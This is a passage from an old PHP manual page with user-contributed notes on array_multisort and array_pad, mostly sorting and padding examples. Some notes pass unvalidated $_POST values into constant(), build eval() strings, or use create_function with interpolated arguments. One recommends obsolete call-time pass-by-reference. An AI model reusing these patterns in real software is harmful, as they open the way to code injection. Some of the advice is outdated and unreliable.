    * @desc You really should validate the posted sort direction against a list of valid possibilities.
    *         Options are SORT_ASC, SORT_DESC, etc, as shown in the documentation for array_multisort
    */
    $sort['direction'] = $_POST['sort_direction'] ? $_POST['sort_direction'] : 'SORT_ASC';
    $sort['field']       = $_POST['sort_field'] ? $_POST['sort_field'] : 'value';

    $array_to_sort = array();
    $array_to_sort['TestCase1'] = array('name'=>'Test1','value'=>'218');
    $array_to_sort['TestCase2'] = array('name'=>'Test2','value'=>'10');
    $array_to_sort['TestCase3'] = array('name'=>'Test3','value'=>'64');

    /**
    * @desc Build columns using the values, for sorting in php
    */
    $sort_arr = array();
    foreach($array_to_sort AS $uniqid => $row){
        foreach($row AS $key=>$value){
            $sort_arr[$key][$uniqid] = $value;
        }
    }

    print '<b>Before sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

    if($sort['direction']){
        array_multisort($sort_arr[$sort['field']], constant($sort['direction']), $array_to_sort);
    }

    print '<b>After sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

?>

This example prints out:

Before sorting:

Array
(
    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

)

After sorting:

Array
(
    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

)
01-Dec-2006 03:58
casting the parameter arrays for array_multisort seem to make the sorting ineffective?

for example:-
<?
        foreach((array)$report_files as $report_files_i)
        {
            $file_stat = stat($report_files_i);
            $report_files_x[] = array(
                'filename'      => $report_files_i
                ,'basename'     => basename($report_files_i)
                ,'ctime'        => date("D, M j, Y",$file_stat['ctime'])
                ,'size'         => $file_stat['size']
                );

            $basename_i[] = strtolower(basename($report_files_i)); // case insensitive

        }
        array_multisort($basename_i, SORT_ASC, $report_files_x);
?>
The above works but if you change the last time to :-
<?
        array_multisort((array)$basename_i, SORT_ASC, (array)$report_files_x);
?>
...adding the (array) cast doesn't sort the main array ...
brettz9 throu gh yah 14-Sep-2006 09:04
Often, one may have a group of arrays which have parallel data that need to be kept associated with each other (e.g., the various attribute values of a group of elements might be stored in their own arrays). Using array_multisort as is, by specifying additional fields, it is possible, as in the documentation example cited below, that this association will be lost.

To take this example set of data from the documentation:
<?php
$ar1 = array("10", 100, 100, "a");
$ar2 = array(1, 3, "2", 1);
?>

The example goes on to sort it this way:
<?php
array_multisort($ar1, $ar2);
?>

In this case, although the "10" remains associated with the first '1' after being sorted, the "2" and '3' are reversed from their original order.

In order to sort by one field only (yet still have the other array(s) being correspondingly sorted), one can use array_keys (which makes an array out of the keys) to ensure that no further sub-sorting is performed. This works because array_keys is making an array for which no duplicates can exist (since keys will be unique), and thus, the subsequent fields will have no relevance as far as subsorting.

So, using the above data, we can perform this sort instead:
<?php
$ar3 = array_keys($ar1);
array_multisort($ar1, $ar3, $ar2);
?>

which, when $ar1 and $ar2 are dumped gives:

array(4) {
  [0]=> string(2) "10"
  [1]=> string(1) "a"
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=>  int(1)
  [1]=>  int(1)
  [2]=>  int(3)
  [3]=>  string(1) "2"
}
ricardo 04-Sep-2006 02:47
Hi,

Modded the function from KES,
goals:
- Object oriented
- string comparision using naturalordening

code:
<?
class HtmlTable{
    var $sortorder;
    var $rows;

//row adding stuf and constructor removed

    function sort($sortorder){
        if(is_array($sortorder)){
            $this->sortorder=$sortorder;
            usort($this->rows,array(&$this,'sort_compare'));
        }
    }
    function sort_compare($a,$b){//sort function
        $result=0;
        foreach($this->sortorder as $key=>$value){
            $result=strnatcmp($a[$key],$b[$key]);
            if($result==0)continue;
            if($value=='desc')$result=$result*-1;
            break;
        }
        return $result;
    }
}
?>
LPChip 28-Aug-2006 03:04
I was looking for a way to dynamically multisort my array.

By dynamically I mean that its not static what column will be sorted and if its ASC or DESC, and the ability to have more than one sorts.

This is the way a database would allow you to do.

The best way to dynamically do this, is by using eval.

The code below is partly what I used. (eg, I left out where the arrays were made and stuff, but the important part is here.)

<?

$orderby_arr = array("col1 ASC";"col2 DESC");

// prepare multisort using eval
        $eval_sort  = "array_multisort(";

        if ($orderby !="") {

            $orderby_arr_c = count($orderby_arr);

            for ($orderby_walk=0; $orderby_walk < $orderby_arr_c; $orderby_walk++) {
                $pos = strpos($orderby_arr[$orderby_walk], " ");
                $orderby_col = substr($orderby_arr[$orderby_walk], 0, $pos);
                $orderby_type = substr($orderby_arr[$orderby_walk], $pos+1);

                $eval_sort .= "\$this->OrderBy[$orderby_col]" . ", SORT_$orderby_type,";
            }
        }

        $eval_sort .= " \$this->Current_Query);";

        // if there's an array, sort it.
        if ($this->Current_Query_m != -1) eval($eval_sort);
?>
RQuadling at GMail dot com 07-Aug-2006 02:53
Extending KES's example (http://www.php.net/manual/en/function.array-multisort.php#68452) to look like array_multisort().

NOTE: Fully commented code is available at http://rquadling.php1h.com (sorry for the ads).

The syntax is the same as array_multisort().

You also have 3 additional parameters you can use:

AMC_SORT_STRING_CASELESS to sort the strings case insensitively.
AMC_LOSE_ASSOCIATION (the default behaviour) to lose the associations for the array.
AMC_KEEP_ASSOCIATION to keep the associations for the array.

Other than that, these function work together JUST like array_multisort but sorts using column(s) without the need to first extract the columns into individual arrays.

<?php
define ('AMC_SORT_STRING_CASELESS', SORT_STRING + 1);
define ('AMC_LOSE_ASSOCIATION', 1001);
define ('AMC_KEEP_ASSOCIATION', 1002);
define ('AMC_SORT_ORDER', 1003);
define ('AMC_SORT_TYPE', 1004);

function array_multisort_column(array &$a_data, $m_mixed1)
    {
    $a_Args = func_get_args();
    $i_Args = func_num_args();
    $GLOBALS['a_AMC_ordering'] = array();
    $a_Columns = array_keys(reset($a_data));
    $b_KeepAssociation = False;
    for($i_Arg = 1 ; $i_Arg < $i_Args ; )
        {
        if (in_array($a_Args[$i_Arg], $a_Columns))
            {
            $s_Column = $a_Args[$i_Arg];
            $GLOBALS['a_AMC_ordering'][$a_Args[$i_Arg]] = array
                (
                AMC_SORT_ORDER => SORT_ASC,
                AMC_SORT_TYPE => SORT_REGULAR,
                );
            while
                (
                isset($a_Args[$i_Arg + 1]) &&
                in_array
                    (
                    $a_Args[$i_Arg + 1],
                    array
                        (
                        AMC_KEEP_ASSOCIATION,
                        AMC_LOSE_ASSOCIATION,
                        AMC_SORT_STRING_CASELESS,
                        SORT_ASC,
                        SORT_DESC
                        SORT_NUMERIC,
                        SORT_REGULAR,
                        SORT_STRING,
                        ),
                    True
                    )
                )
                {
                if (in_array($a_Args[$i_Arg + 1], array(SORT_ASC, SORT_DESC), True))
                    {
                    $GLOBALS['a_AMC_ordering'][$s_Column][AMC_SORT_ORDER] = $a_Args[$i_Arg + 1];
                    }
                elseif (in_array($a_Args[$i_Arg + 1], array(SORT_REGULAR, SORT_NUMERIC, SORT_STRING, AMC_SORT_STRING_CASELESS), True))
                    {
                    $GLOBALS['a_AMC_ordering'][$s_Column][AMC_SORT_TYPE] = $a_Args[$i_Arg + 1];
                    }
                elseif (AMC_KEEP_ASSOCIATION == $a_Args[$i_Arg + 1])
                    {
                    $b_KeepAssociation = True;
                    }
                ++$i_Arg;
                }
            }
        ++$i_Arg;
        }
    $s_Sorter = ($b_KeepAssociation ? 'uasort' : 'usort');
    $b_Result = $s_Sorter($a_data, 'array_multisort_column_cmp');
    unset($GLOBALS['a_AMC_ordering']);
    return $b_Result;
    }

function array_multisort_column_cmp(array &$a_left, array &$a_right)
    {
    $i_Result = 0;
    foreach($GLOBALS['a_AMC_ordering'] as $s_Column => $a_ColumnData)
        {
        switch ($a_ColumnData[AMC_SORT_TYPE])
            {
            case SORT_NUMERIC :
                $i_ColumnCompareResult =
                    ((intval($a_left[$s_Column]) == intval($a_right[$s_Column]))
                    ?
                        0
                    :
                        ((intval($a_left[$s_Column]) < intval($a_right[$s_Column]))
                        ?
                            -1
                        :
                            1
                        )
                    );
                break;
            case SORT_STRING :
                $i_ColumnCompareResult = strcmp((string)$a_left[$s_Column], (string)$a_right[$s_Column]);
                break;
            case AMC_SORT_STRING_CASELESS :
                $i_ColumnCompareResult = strcasecmp((string)$a_left[$s_Column], (string)$a_right[$s_Column]);
                break;
            case SORT_REGULAR :
            default :
                $i_ColumnCompareResult =
                    (($a_left[$s_Column] == $a_right[$s_Column])
                    ?
                        0
                    :
                        (($a_left[$s_Column] < $a_right[$s_Column])
                        ?
                            -1
                        :
                            1
                        )
                    );
                break;
            }
        if (0 == $i_ColumnCompareResult)
            {
            continue;
            }
        $i_Result = $i_ColumnCompareResult * (($a_ColumnData[AMC_SORT_ORDER] == SORT_DESC) ? -1 : 1);
        break;
        }
    return $i_Result;
    }
?>
KES http://kes.net.ua 27-Jul-2006 02:30
<?
//sort by second column then first one
$orderBy=array('0'=>'desc', 'first'=>'asc');

function KES_cmp($a, $b) {
  global $orderBy;
  $result= 0;
  foreach( $orderBy as $key => $value ) {
    if( $a[$key] == $b[$key] ) continue;
    $result= ($a[$key] < $b[$key])? -1 : 1;
    if( $value=='desc' ) $result= -$result;
    break;
    }
  return $result;
  }

$result= array();
$result[]= array( 'first'=>6, 2);
$result[]= array( 'first'=>3, 2);
$result[]= array( 'first'=>1, 3);
$result[]= array( 'first'=>1, 2);
$result[]= array( 'first'=>6, 1);

print "<b>Source</b>";
print_r($result);

usort($result, 'KES_cmp');
print "<b>Result</b>";
print_r($result);
?>
KES 27-Jul-2006 01:35
It is very handy to have function, which sort like this:

$arrayToSort[]= array(0 => ".",               "type" => "dir");
$arrayToSort[]= array(0 => "qf",              "type" => "file");
$arrayToSort[]= array(0 => "..",              "type" => "dir");
$arrayToSort[]= array(0 => "text.txt",      "type" => "file");
$arrayToSort[]= array(0 => "hello",          "type" => "dir");

//first sort by the column 'type', then sort by the column '0'
$howToSort= array('type'=> 'asc', 0=> 'desc');

multisort($arrayToSort, $howToSort);

The result:
0           |       type
----------------------------
.           | dir
..           | dir
hello       | dir
text.txt    | file
qf          | file
scott - evolove - net - work it out 23-Mar-2006 04:51
A very simple way to sort an array of associative arrays by some value is to use usort.

I needed to sort an array of 20 data structures by their 'distance' value:

Array
(
    [0] => Array
        (
            [blahblah] => blahblah
            [distance] => 6
        )

    [1] => Array
        (
          you get the idea....

Here's the code:

--------------------
usort($results, "distributor_compare");

/**
 * usort callback
 */
function distributor_compare($a, $b) {
    $adist = intval($a['distance']);
    $bdist = intval($b['distance']);

    if ($adist == $bdist) {
     return 0;
     }
     return ($adist < $bdist) ? -1 : 1;
}
--------------------
peter dot graham at tcat dot ac dot uk 16-Feb-2006 04:16
Many thanks to “AlberT at SuperAlberT dot it” for his useful and elegant function. I have made some small alterations so it doesn’t use pass-by-reference as this throws up warnings in newer versions of php4.

<?php

function array_key_multi_sort($arr, $l , $f='strnatcasecmp')
{
    usort($arr, create_function('$a, $b', "return $f(\$a['$l'], \$b['$l']);"));
    return($arr);
}

?>
mail at theopensource dot com 31-Jan-2006 08:34
I wanted to share with you a function that I created to make the array_multisort process much easier for myself... There was some interesting things that I encountered and I will post that in the comments.

I created this function so that all I have to do is tell it what column I want to sort through in a one level deep multidimensional array.  You can Try this code in your browser to view the results

ex/
<?php

//Here is an array example
$test[0]['name'] = "David";
$test[0]['age'] = 28;
$test[1]['name'] = "Dennis";
$test[1]['age'] = 23;
$test[2]['name'] = "Joseph";
$test[2]['age'] = 42;

//Here is the Function

function sortmddata($array, $by, $order, $type){

//$array: the array you want to sort
//$by: the associative array name that is one level deep
////example: name
//$order: ASC or DESC
//$type: num or str

$sortby = "sort$by"; //This sets up what you are sorting by

$firstval = current($array); //Pulls over the first array

$vals = array_keys($firstval); //Grabs the associate Arrays

foreach ($vals as $init){
    $keyname = "sort$init";
    $$keyname = array();
}
//This was strange because I had problems adding
//Multiple arrays into a variable variable
//I got it to work by initializing the variable variables as arrays
//Before I went any further

foreach ($array as $key => $row) {

foreach ($vals as $names){
    $keyname = "sort$names";
    $test = array();
    $test[$key] = $row[$names];
    $$keyname = array_merge($$keyname,$test);

}

}

//This will create dynamic mini arrays so that I can perform
//the array multisort with no problem
//Notice the temp array... I had to do that because I
//cannot assign additional array elements to a
//varaiable variable

if ($order == "DESC"){
if ($type == "num"){
array_multisort($$sortby,SORT_DESC, SORT_NUMERIC,$array);
} else {
array_multisort($$sortby,SORT_DESC, SORT_STRING,$array);
}
} else {
if ($type == "num"){
array_multisort($$sortby,SORT_ASC, SORT_NUMERIC,$array);
} else {
array_multisort($$sortby,SORT_ASC, SORT_STRING,$array);
}
}

//This just goed through and asks the additional arguments
//What they are doing and are doing variations of
//the multisort

return $array;
}

//Now to test it

$test = sortmddata($test,'age','ASC','num');

print_r ($test);

//This will return
//Array (
//[0] => Array ([name] => Dennis [age] => 23 )
//[1] => Array ( [name] => David [age] => 28 )
//[2] => Array ( [name] => Joseph [age] => 42 )
//)

?>

There you go... please let me know what you think if you like.
php a-t-the-r-a-t-e chir.ag 05-Jan-2006 11:10
Re: phu at kungphu, 19-Dec-2005 11:36

asort($test) will not let me specify which columns to sort ASC/DESC, NUMERIC/STRING etc.

I have data similar to what you specified. Now I want to sort $test by points DESC and name ASC. Here's my function that does it, based on suggestions on this page. It uses array_multisort (and hence acts just like it: preserving string-keys etc.)

<?php

  function arrayColumnSort()
  {
    $n = func_num_args();
    $ar = func_get_arg($n-1);
    if(!is_array($ar))
      return false;

    for($i = 0; $i < $n-1; $i++)
      $col[$i] = func_get_arg($i);

    foreach($ar as $key => $val)
      foreach($col as $kkey => $vval)
        if(is_string($vval))
          ${"subar$kkey"}[$key] = $val[$vval];

    $arv = array();
    foreach($col as $key => $val)
      $arv[] = (is_string($val) ? ${"subar$key"} : $val);
    $arv[] = $ar;

    call_user_func_array("array_multisort", $arv);
    return $ar;
  }

  $test["pete"]['points']=1;
  $test["pete"]['name']='Peter';

  $test["mike"]['points']=5;
  $test["mike"]['name']='Mike';

  $test["zoo"]['points']=2;
  $test["zoo"]['name']='John Zoo';

  $test["ab"]['points']=2;
  $test["ab"]['name']='John Ab';

  $test1 = $test;

  asort($test1);

  $test2 = arrayColumnSort("points", SORT_DESC, SORT_NUMERIC, "name", SORT_ASC, SORT_STRING, $test);

  print_r($test1); // asort
  print_r($test2); // arrayColumnSort

?>

Output from asort:

Array
(
    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

)

Output from arrayColumnSort:

Array
(
    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

)
phu at kungphu 19-Dec-2005 08:36
Notepad's example using asort/arsort will -not- work unless 'points' is defined -before- 'name'.

Running the posted code sorts by 'name', which was not the point of the previous posts.  Defining 'points' as 'apoints' also did not work; however, defining 'points' first yields correct sorting:

$test[0]['points']=1;
$test[0]['name']='Peter';

$test[1]['points']=5;
$test[1]['name']='Mike';

$test[2]['points']=2;
$test[2]['name']='John';

asort($test);

It appears asort uses the first defined element to sort a multidimensional array.
notepad at codewalkers dot com 10-Dec-2005 01:33
for you guys trying to sort scores on an associative multi-dimensional array, why are you creating your own functions?

<?php

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

asort($test);
// or even arsort();

?>

the above seems to work for me...
Shmee 30-Sep-2005 03:46
RWC’s code works very well until you get a ‘point’ value greater then ten.  This is because the strcmp() function will return that 2 > 10 and 2 > 11 … 2 > 19 and so on. To compare number values over ten try a sort like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     if ($a[$key]>$b[$key]){
         $varcmp = "1";
         return $varcmp;
     }
     elseif ($a[$key]<$b[$key]){
         $varcmp = "-1";
         return $varcmp;
     }
     elseif ($a[$key]==$b[$key]){
         $varcmp = "0";
         return $varcmp;
     }
  }
  usort($array, "compare");
  return $array;
}
RWC 25-Sep-2005 10:45
This is the simpler version of the function by AlberT.

A lot of times you have got an array like this:

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

You just want to sort on the index in the second dimension, ie. on points in the above example.

You can use the function below and call it like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     return strcmp($a[$key], $b[$key]);
  }
  usort($array, "compare");
  return $array;
}

Note: to be able to use $key in the compare function, it can not simply be passed as a parameter. It has to be declared global and set somewhere outside of compare().
AlberT at SuperAlberT dot it 18-Jul-2005 03:59
a nice piece of code to do an "array_key_multi_sort()" is the following:

<?php
/**
 * orders a multidimentional array on the base of a label-key
 *
 * @param $arr, the array to be ordered
 * @param $l the "label" identifing the field
 * @param $f the ordering function to be used,
 *    strnatcasecmp() by default
 * @return  TRUE on success, FALSE on failure.
 */
function array_key_multi_sort(&$arr, $l , $f='strnatcasecmp') {
        return usort($arr, create_function('$a, $b', "return $f(\$a['$l'], \$b['$l']);"));
}
?>
kencomer at kencomer dot com 13-Jun-2005 08:48
If your data is in an associative array that you would need to separate into columns such as those retrieved with your favorite flavor of _fetch_array() in order to be able to use multisort(), you should consider using uasort() or usort() as an alternative. Here is an example of how this could be beneficial:

(key is employee number which remains intact; rows are sorted by surname, firstname)

<?php
function namecmp( $row1,$row2 )
{
    $first = strcmp($row1['surname'], $row2['surname']) ;
    if ( $first )
        return $first ;
    else
        return strcmp($row1['name'], $row2['name']) ;
}

      $test = array( '11122202' => array('empno'=>11122202,'name'=>'geezer'
                ,'surname'=>'schmidt','age'=>96,'sex'=>'male')
            ,'11122204' => array('empno'=>11122204,'name'=>'coed'
                ,'surname'=>'beaujolais','age'=>18,'sex'=>'female')
            ,'11122206' => array('empno'=>11122206,'name'=>'immortal'
                ,'surname'=>'ramos','age'=>21,'sex'=>'male')
            ,'11122208' => array('empno'=>11122208,'name'=>'babyface'
                ,'surname'=>'brown','age'=>1,'sex'=>'male')
            ,'11122210' => array('empno'=>11122210,'name'=>'exjock'
                ,'surname'=>'gatti','age'=>48,'sex'=>'male')
            ,'11122212' => array('empno'=>11122212,'name'=>'jailbait'
                ,'surname'=>'muhammed','age'=>15,'sex'=>'female') )
            ;
echo "<pre>" ;
print_r( $test ) ;
uasort($test,'namecmp') ;
echo "----sorting----<br \>";
print_r( $test ) ;
echo "</pre>" ;

?>

Array
(
    [11122202] => Array
        (
            [empno] => 11122202
            [name] => geezer
            [surname] => schmidt
            [age] => 96
            [sex] => male
        )

    [11122204] => Array
        (
            [empno] => 11122204
            [name] => coed
            [surname] => beaujolais
            [age] => 18
            [sex] => female
        )

    [11122206] => Array
        (
            [empno] => 11122206
            [name] => immortal
            [surname] => ramos
            [age] => 21
            [sex] => male
        )

    [11122208] => Array
        (
            [empno] => 11122208
            [name] => babyface
            [surname] => brown
            [age] => 1
            [sex] => male
        )

    [11122210] => Array
        (
            [empno] => 11122210
            [name] => exjock
            [surname] => gatti
            [age] => 48
            [sex] => male
        )

    [11122212] => Array
        (
            [empno] => 11122212
            [name] => jailbait
            [surname] => muhammed
            [age] => 15
            [sex] => female
        )

)
----sorting----
Array
(
    [11122204] => Array
        (
            [empno] => 11122204
            [name] => coed
            [surname] => beaujolais
            [age] => 18
            [sex] => female
        )

    [11122208] => Array
        (
            [empno] => 11122208
            [name] => babyface
            [surname] => brown
            [age] => 1
            [sex] => male
        )

    [11122210] => Array
        (
            [empno] => 11122210
            [name] => exjock
            [surname] => gatti
            [age] => 48
            [sex] => male
        )

    [11122212] => Array
        (
            [empno] => 11122212
            [name] => jailbait
            [surname] => muhammed
            [age] => 15
            [sex] => female
        )

    [11122206] => Array
        (
            [empno] => 11122206
            [name] => immortal
            [surname] => ramos
            [age] => 21
            [sex] => male
        )

    [11122202] => Array
        (
            [empno] => 11122202
            [name] => geezer
            [surname] => schmidt
            [age] => 96
            [sex] => male
        )

)
stevec at NO-/ dot /-SPAM dot qiguang dot net 13-Apr-2005 05:19
Be careful when using array_multisort() on copies of arrays, as you might end up changing the original array.  Given the following code:

<?php
    $test1 = array(4,3,2,1);
    $test2 = $test1;
    $test3 = array('a', 'b', 'c', 'd');

    array_multisort($test2, SORT_ASC, $test3);

    echo 'test1:';
    print_r($test1);
    echo 'test2:';
    print_r($test2);
    echo 'test3:';
    print_r($test3);
?>

You would expect:

test1:Array
(
    [0] => 4
    [1] => 3
    [2] => 2
    [3] => 1
)
test2:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test3:Array
(
    [0] => d
    [1] => c
    [2] => b
    [3] => a
)

However, if you run the code, you actually get:

test1:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test2:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test3:Array
(
    [0] => d
    [1] => c
    [2] => b
    [3] => a
)

Note that the original ($test1) ends up being sorted even though it was never called by array_multisort().  To work around this, insert a statement to modify the copy ($test2) before calling array_multisort() on it.  The following code will produce the expected "correct" results:

<?php
    $test1 = array(4,3,2,1);
    $test2 = $test1;
    $test3 = array('a', 'b', 'c', 'd');

    $test2[0] = $test2[0];                // fix
    array_multisort($test2, SORT_ASC, $test3);

    echo 'test1:';
    print_r($test1);
    echo 'test2:';
    print_r($test2);
    echo 'test3:';
    print_r($test3);
?>

This seems to be a resurrection of the closed bug #8130.  Also, someone reported this behavior in bug #32031, but it was incorrectly labeled "bogus" in reference to bug #25359, which is a different issue.
joao at intrasystems dot com dot br 07-Apr-2005 09:27
Exemple of sorting multi-dimensional arrays by one of it's fields:

$result[0]['nome']='Joao';
$result[0]['order']=5;
$result[1]['nome']='Pedro';
$result[1]['order']=1;
$result[2]['nome']='Marcelo';
$result[2]['order']=3;

foreach($result as $res)
     $sortAux[] = $res['order'];

array_multisort($sortAux, SORT_ASC, $result);

print_r($result);

produces:

Array
(
    [0] => Array
        (
            [nome] => Pedro
            [order] => 1
        )

    [1] => Array
        (
            [nome] => Marcelo
            [order] => 3
        )

    [2] => Array
        (
            [nome] => Joao
            [order] => 5
        )

)
Toni 10-Nov-2004 12:30
An example to sort an array by 3 criteria:

$recordset is an array of results from a query to a database, that I sort using $matrix as auxiliary array. First numeric, Second and Third alphabetically.

<?php
for($idx=0;$idx<$toShow;$idx++){
    $matrix[0][$id]=$recordset[$id][0];
    $matrix[1][$id]=$recordset[$id][1];
    $matrix[2][$id]=$recordset[$id][10];
}

array_multisort($matrix[0], SORT_DESC, SORT_NUMERIC,$matrix[1], SORT_STRING, SORT_ASC,$matrix[2], SORT_STRING, SORT_ASC);
?>
meddle at dzygn.com 05-Oct-2004 04:40
If you want to sort a multidomensional array by key name you cannot use array_multisort. ie: for an array named $archivos that prints like this:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => test
        )

    [1] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [2] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [3] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)

If I wanted to order by "name" I'd use:

function comparar($a, $b) {
        return strnatcasecmp($a["name"], $b["name"]);
}
usort($archivos, "comparar");

This function performs a case insensitive string comparison using a "natural order" algorithm (strnatcasecmp), resulting in:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [1] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [2] => Array
        (
            [index] => 0
            [name] => test
        )

    [3] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)
kat dot n0spam at audiogalaxy dot com 24-Aug-2001 07:25
If you're having problems with array_multisort changing variables in global space when it is called inside a function and you're not passing in the function parameters by reference you can alleviate the problem by calling array_multisort with its parameters by reference.

array_multisort(&$a, SORT_DESC, &$b);

More details here in my bug report:
http://www.php.net/bugs.php?id=12936


Pad array to the specified length with a value

  • « array_multisort
  • array_pop »
  • PHP Manual
  • Array Functions
  • Pad array to the specified length with a value

array_pad

(PHP 4, PHP 5)

array_pad — Pad array to the specified length with a value

Description

array array_pad ( array $array , int $size , mixed $value )

array_pad() returns a copy of the array padded to size specified by size with value value. If size is positive then the array is padded on the right, if it's negative then on the left. If the absolute value of size is less than or equal to the length of the array then no padding takes place. It is possible to add at most 1048576 elements at a time.

Parameters

array

Initial array of values to pad.

size

New size of the array.

value

Value to pad if array is less than size.

Return Values

Returns a copy of the array padded to size specified by size with value value. If size is positive then the array is padded on the right, if it's negative then on the left. If the absolute value of size is less than or equal to the length of the array then no padding takes place.

Examples

Example #1 array_pad() example

<?php
$input = array(12, 10, 9);

$result = array_pad($input, 5, 0);
// result is array(12, 10, 9, 0, 0)

$result = array_pad($input, -7, -1);
// result is array(-1, -1, -1, -1, 12, 10, 9)

$result = array_pad($input, 2, "noop");
// not padded
?>

See Also

  • array_fill() - Fill an array with values
  • range() - Create an array containing a range of elements

User Contributed Notes

slava-san at mail dot ru 06-Jul-2013 07:58
// insert element to array
function array_insert(&$arr, $pos, $new_el=null) {
    $arraypad = array_pad($arr, count($arr)+1, 0);
    for ($i=count($arr)-1; $i>=$pos; $i--) {
        $arr[$i+1] = $arr[$i];
        if ($i == $pos) {
            $arr[$i] = $new_el;
        }
    }
}

$digits = array();
$digits[0] = 0;
$digits[1] = 1;
$digits[2] = 2;
$digits[3] = 3;
$digits[4] = 4;
$digits[5] = 5;
echo "was: "; var_dump($digits);

array_insert($digits, 3, 100);
echo "new: "; var_dump($digits);
sonu50imedbvu at gmail dot com(Sonu Jaiswal) 12-Jan-2011 09:53
Just an info about the value of "$pad_size" ,

If we set the value of "$pad_size" from -3 to 3,

It will produce the output like:

<?php
$result = array_pad($input, -3, "noop");
//result is array(12, 10, 9)

$result = array_pad($input, 3, "noop");
//result is array(12, 10, 9)
?>

means array will remain the same.
tugla 18-Dec-2008 06:23
Beware, if you try to pad an associative array using numeric keys, your keys will be re-numbered.

<?php
$a = array('size'=>'large', 'number'=>20, 'color'=>'red');
print_r($a);
print_r(array_pad($a, 5, 'foo'));

// use timestamps as keys
$b = array(1229600459=>'large', 1229604787=>20, 1229609459=>'red');
print_r($b);
print_r(array_pad($b, 5, 'foo'));
?>

yields this:
------------------
Array
(
    [size] => large
    [number] => 20
    [color] => red
)
Array
(
    [size] => large
    [number] => 20
    [color] => red
    [0] => foo
    [1] => foo
)
Array
(
    [1229600459] => large
    [1229604787] => 20
    [1229609459] => red
)
Array
(
    [0] => large
    [1] => 20
    [2] => red
    [3] => foo
    [4] => foo
)
hk, StrApp Bussiness Solutions 08-Jan-2007 11:15
A simple example for array_pad()

the syntax is as follows: array_pad(array(), (+/-)int, value)

where "array" is the array to which the value is to be added,

"(+/-) int" is a value that decides the length of the array(it should be greater than the length of the array.
if its a negative number then the value will be added at the left of the array else it will be added to the right.

"values" denotes the value to be added to the array

lets try an example:

<?php

$digits = array();
$digits[0] = 1;
$digits[1] = 2;
$digits[2] = 3;
$arraypad = array_pad($digits, -4, "0");
print_r($arraypad);

?>

output:

Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 )
oaev at mail dot ru 22-Oct-2004 08:48
Easy way to get an array contains 5 random numbers from 0 to 9:

$rand_arr = array_rand( array_pad( array(), 10, 1 ), 5 );
29-Feb-2004 06:00
One way to initialize a 20x20 multidimensional array.

<?php
$a = array();
$b = array();
$b = array_pad($b,20,0);
$a = array_pad($a,20,$b);
?>
mwwaygoo at hotmail dot com 16-Jan-2004 05:02
little older, a little wiser.

ksort() will order the array back into its normal order again
so:

<?php
$myArr = array(2 => 'two', 4 => 'four');

$newArr = array_pad(array(), 6, 'FILLED');
$newArr =$myArr+$newArr;
ksort($newArr);
?>

Will give :
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => FILLED [4] => four [5] => FILLED )
goffrie at sympatico dot ca 24-Mar-2003 02:06
To daarius - you mean you have...

[2]=>"two"
[3]=>"three"

and you want...

[0]=>"FILLED"
[1]=>"FILLED"
[2]=>"two"
[3]=>"three"
[4]=>"FILLED"
[5]=>"FILLED"

If so, then the following code...

<?php
$array = array(2 => "two", 3 => "three");
$array = array_pad($array, count($array)+2, "FILLED");
$num = -(count($array)+2);
$array = array_pad($array, $num, "FILLED");
print_r($array);
?>

will return:
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => three [4] => FILLED [5] => FILLED )
The ordering should be okay,...
mwwaygoo at hotmail dot com 19-Sep-2002 06:39
OR you could do this

<?php
$myArr = array(2 => 'three', 3 => 'four');

$newArr = array_pad(array(), 4, 'FILLED');
$newArr =$myArr+$newArr;
?>

This gives your desired result BUT the ordering is a little wierd, because of the order they were added. Indexes are okay though and that is what you wanted.

print_r($newArr) outputs
Array ( [2] => three [3] => four [0] => FILLED [1] => FILLED )

hope this helps
daarius at hotmail dot com 23-Jul-2002 04:36
yes that is true. But, if the index of the array is 2=two, 3=three

and i want 4 more keys to be filled. But, not just filled anywhere, but i want to maintain the key index.

so, i would like to have 0=FILLED, 1=FILLED ... 4=FILLED, 5=FILLED

now i got 4 more keys padded with my string.

